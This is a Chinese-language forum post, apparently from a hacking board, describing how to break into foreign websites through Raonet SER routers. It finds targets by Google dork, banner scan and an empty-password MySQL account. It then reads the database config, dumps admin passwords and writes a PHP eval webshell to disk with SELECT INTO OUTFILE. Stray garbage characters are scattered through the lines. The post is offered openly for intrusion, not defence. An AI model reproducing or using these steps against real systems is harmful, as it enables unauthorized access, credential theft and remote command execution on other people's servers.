利用某路由器漏洞入侵国外站点

admin

  寻找存在漏洞的路由器方法：

) K( r, p% v+ a6 y1：google搜索'Raonet Subscriber Ethernet Router'

2：使用WebDAVScan扫80端口，http banner为thttpd/2.21b 23apr2001
, J" h3 B4 |- R( M" A3 y
6 r6 o  b$ w' \+ C  u  r5 i3：扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14，默认有一个高权限的帐户mysql，口令为空。

1 g0 {4 ]/ J' ~7 \7 K" \. E//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......
2 T+ V1 l) F! H7 X/ l

3 ?$ r: r) n8 h- t. Y
入侵步骤：

0 `/ z& `; {! b9 r; i: g  d1.爆web路径，http://www.yu1u.org/src/jpgraph_line.php

2:查看数据库配置文件，http://www.yu1u.org/inc/conn_db.inc
3：得到密码后连接，查看GUI管理密码：
4 z+ P! k* E8 i; E* ^! h/ guse ser_500
: B1 X$ X+ ]: a0 x7 Z! l" Dselect id,passwd from user;
+ i# R: U. j: m# B1 ?, I4:通过数据库写入webshell，执行命令：
use mysql;
create table ok(cmd TEXT);
insert into ok values("<?php @eval($_POST[cmd])?>");
/ Q9 H9 N2 N/ E3 p5 ?select * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";
drop table ok;
& K0 N& q" U" N6 ?; O3 ]: g8 I
5:连接后门shell.php

5 i# e& L0 q: b* @) f& a% e2 ]; Z6. 搞定！
# @4 [( o! o1 z( T8 s7 M9 p! J% B